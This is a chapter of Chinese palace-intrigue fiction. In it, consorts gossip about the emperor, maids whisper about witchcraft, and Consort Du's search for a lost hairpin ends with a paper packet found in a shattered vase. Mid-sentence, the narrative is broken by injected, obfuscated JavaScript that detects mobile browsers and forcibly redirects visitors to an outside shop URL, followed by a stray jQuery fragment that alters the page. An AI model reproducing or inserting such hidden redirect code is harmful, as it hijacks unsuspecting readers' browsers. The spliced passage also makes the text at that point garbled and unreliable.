谢良玉刚入宫时,也曾被妃嫔羡慕过,但日子久了,被困宫墙的“怨妇”心态竟奇迹般地平和了。
皇后并不是她们的敌人,因为皇上每月也不过去凤仪宫两次。若非宫规,皇后恐也落得与她们一般待遇。
冬长苦闷,李昭仪、元昭容暖阁闲聊,谈起一桩旧闻。
“皇后在我心中是极好的,但曾听闻,陛下其实有心悦之人。”元昭容拿起一块透花糍。
李昭仪敛眸,她也曾听说过。
“难道陛下真的心仪卫国公主?”元昭容困惑,皇后这般宽泽明允的女子,陛下都只是相敬如宾,说不通。
若说陛下耽于美色,杜婕妤便是一等一的好颜色。若说陛下偏重才情,宋婕妤更是人尽皆知的咏絮之才。
可她们都不受宠。
并非未见过谢华玉,在元昭容印象中,谢华玉性格娇憨,长相甜美。乍看如春花,但瞧久了便会觉得腻。就如她手中的这块糕点,吃多了糊嗓子,不是一杯清茶可解。
“许只是传闻吧。”李昭仪摇首,她也不清楚。
“皇后虽与卫国公主一母同胞,二人却是截然不同。”喝茶润了润嗓子,元昭容又继续道:“皇后面上瞧着冷清,言行举止却令人如沐春风,悄然间便对其信任依赖。”
“幸好皇后是皇后。”
李昭仪明白元昭容这句话,她也为此感到庆幸。她和元昭容想要的,向来都只是能够过安稳日子。
“杜婕妤这次病了场,如今还未出过院子。有段时日未从宫人口中听见她的尖酸话语了,还真有点儿不习惯。”元昭容调笑打趣。
九英梅已进入盛花期,蜡色似蜜,暗香浮动。袍袴宫人早起,抱着扫帚,埋首在漆黑的夜幕里。
寅时的内苑罕有人至,梅树下,两道身影撞到一起。圆脸的宫人转身,搓搓冻红的手:“你没事吧。”
身形瘦削的宫人摇首:“没事。”
“对了,你听说了吗?”相逢即是缘,圆脸宫人打开话匣。
瘦削宫人顿了片刻,在圆脸宫人忍不住想要再次开口时,终于出声:“何事?”
闻言,圆脸宫人左顾右盼,摇晃扫帚凑到瘦削宫人身旁。压低声音,神神秘秘道:“我听说,杜婕妤前几日生病,不是因为感染风寒。”
瘦削宫人侧耳,心中疑惑:“那是为何?”
“宫里传杜婕妤本是伤风,遇上月事才病得更重。但你想想,月事真能让小病变大病,还高烧说胡话?”
“许是婕妤身子矜贵。”
圆脸宫人啧声。可能觉得自己动静大了,又四下打量。
气音道:“我原先也是这么想的,但我听一个白头宫人说,后宫以前闹过巫蛊。有个宫人原先侍奉美人,被明德帝看中,短短五年,便从采女升到充仪。”
“但她刚升为充仪没多久,却突然重病,不过半月便香消玉殒。”
圆脸宫人声音更低了:“后来有个宫人洒扫,自充仪原先侍奉的美人房中发现了厌胜之物。那偶人背后写着充仪的名字和生辰八字。”
“明德帝知道后大怒,那美人被处绞刑。她的娘家虽不知情,却也被累及,流放三千里。”
圆脸宫人侧身,伸手贴在瘦削宫人耳旁:“你有没有觉得,杜婕妤这病和那死去的充仪很像,都来得蹊跷。”
瘦削宫人睫毛颤动,言语无法形容她的震惊。连忙抓住圆脸宫人的手腕,惶恐道:“这话你可莫与旁人说。”
待圆脸宫人走开,瘦削宫人匆匆折了枝腊梅,小步消失在了内苑。
杜婕妤睡醒,瞧见窗前的青瓷瓶里插了枝腊梅,花枝秀丽,花朵似黄玉,着实清雅。昨日睡前她随口说了句,内苑的腊梅应是开得正好。想是宝莲听去,记在心上,吩咐宫人折来的。
用过早膳后坐到窗边消食。
透过支起的窗户,可见院内井台旁的宫人握着木槌,轻轻敲击井沿的冰凌。内侍推来一车炭火,等着宫人拿称分炭。
回廊檐下,两个宫人扛着锦褥搭到竹竿上,“噗噗”拍打着褥面。同时传来的还有二人窃窃私语的声音。
“婕妤生病真是因为厌胜之物?”
“我也是听别的院子里说的,传得有模有样。”
“若传言是真,会是谁想害婕妤?”
“这个可不敢乱说,没有证据便是污蔑。咱们也别多想了,做好手底下的差事便是了。”
本来杜婕妤是想听个乐子,待听清了谈话内容,眉头渐渐蹙起。
宝莲端着透花糍经过,恰好听见,驻足警告了宫人两句。
望向支起的窗户,神色几分忧虑。
“婕妤,司膳司刚送来的点心。”
没去瞧清甜米香的透花糍,杜婕妤仿若深思,又突然开口:“你都听见了?”面上却瞧不出异样。
宝莲抿唇,继而沉声:“奴婢已训斥了二人,往后定会对她们多加约束。”
“你觉得她们所言为真,还是虚话?”
不敢开口,因为宝莲知晓,她如何想并不重要,关键是杜婕妤如何看。若说为虚,婕妤的心思怕是相反。但说为实,必然触犯宫中忌讳。
“你是哑巴了?”杜婕妤嗤笑。
“我倒想看看,究竟是多长个脑袋的乱传话,还是真的有贱人想害我。”
冷眼:“去搜,就从沁芳院开始。”
隔壁踢里哐啷,令人心烦意乱,姜美人隐隐坐不住。问向宫人:“沁芳院怎的如此动静?”
“说是杜婕妤丢了东西,命人翻找。具体的奴婢也不清楚。”
姜美人点首。她倒不觉得杜婕妤是真丢了物件,怕是病愈故意找借口折腾人。
新年新气象,现下马上便要过年。平日里尚寝局司设司的宫人,也就拿着拂尘掸灰,橱柜器物不会太干净。姜美人吩咐贴身宫人将寝房彻底洒扫一番。
小心翼翼将金银瓷器搬下,宫人站在桌前,手持丝绸帕子仔细擦拭器物上的污渍,再一一放回原处。
待拿起蓝釉双龙瓶,正准备放回多宝格,突然听到物体滑动碰壁的响声。
宫人反向倾斜瓶身,又听到声音。想必是蓝釉双龙瓶里掉进了东西。缓慢将瓶口朝下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821471|211070||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怕异物磕碰坏内壁。
可细长颈的双龙瓶进物容易,出物难。
试了又试,异物还是掉不出,宫人只好托着双龙瓶上报。
姜美人听后亦翻转瓶身,轻摇慢晃寻找角度。不过也是徒劳,便又递给宫人。“无碍,放下吧。”
宫人踩上脚踏,将蓝釉双龙瓶又放回到多宝格最上层左侧。
姜美人这儿还没洒扫完,凌乱的脚步声由远及近,杜婕妤带着沁芳院的宫人、内侍朝浮香院来了。
乌泱泱的一群人,姜美人有被吓到:“婕妤可是有事吩咐?”
眼皮轻抬:“皇后赏赐的北珠步摇丢了,凡是于我生病期间去过沁芳院的,皆要搜查。”
杜婕妤挥手,宫人、内侍上前,明摆着要对浮香院的众人搜身。
“别紧张,你这儿搜完,便去玉美人那儿。我一视同仁,绝不会冤枉一个好人。”
瞧着昨日才染了凤仙花的指甲,杜婕妤漫不经心道:“对了,待会儿你房里也要搜。非是我信不过你,但若那个胆大包天的偷了步摇真藏在你房里,岂不是灯下黑。”
“沁芳院里里外外都已翻遍了,浮香院若是也寻不到,那我便得去凤仪宫禀报皇后。各姐妹的居所,掖庭宫都得搜。尤其是这些宫人的住处,若不搜查,我实在寝食难安。”
姜美人表情僵硬,努力勾了下唇:“婕妤说笑了,我自是相信婕妤。”
侍奉姜美人的宫人、内侍身上没搜到,杜婕妤又派人进屋。叮嘱道:“都小心点儿,别碰坏姜美人的东西。”
这刚洒扫的,怕是得再来一遍。姜美人心中叹息,却无可奈何。
擦拭器物的宫人面色犹豫望向姜美人,正巧被杜婕妤瞧见。
“你有话要说?”杜婕妤出声。
“回婕妤,奴婢没有。”
见杜婕妤盯着自己贴身的宫人,姜美人先是怔愣,后是困惑。待瞧清宫人紧张的神情,这才后知后觉。
蓝釉双龙瓶里的异物,应该不是杜婕妤丢的步摇,撞壁的声音闷沉,并不清脆。
杜婕妤错过视线,又看向姜美人。“最好真没有,可别是当面一套,背后另一套。”
半盏茶的时间,沁芳院的宫人托着个蓝釉瓶小跑出来。
“婕妤,这瓶中有东西,奴婢倒不出。”
望向蓝釉双龙瓶,又瞧向姜美人,杜婕妤挑眉:“这是什么?”
“不知掉进了什么东西,但绝非是婕妤的步摇。”姜美人上前一步,解释道。还真被找出来了。
哂笑,杜婕妤冷声,语气果断:“砸了。”
“不要,”姜美人想制止,“此瓶亦是皇后所赐。”
但来不及。
蓝釉双龙瓶碎在地上,陶片之间确实没有北珠步摇。
悬在喉间的那口气,良久才敢咽下。姜美人眼前发黑,既惊惧,又心疼。委屈道:“婕妤,真的不是。”
杜婕妤没说话,走到碎片前,蹲下身子。仔细瞧了瞧,用手帕垫着,从碎片间揪出一个纸包。
冷眸起身:“姜美人,此乃何物?”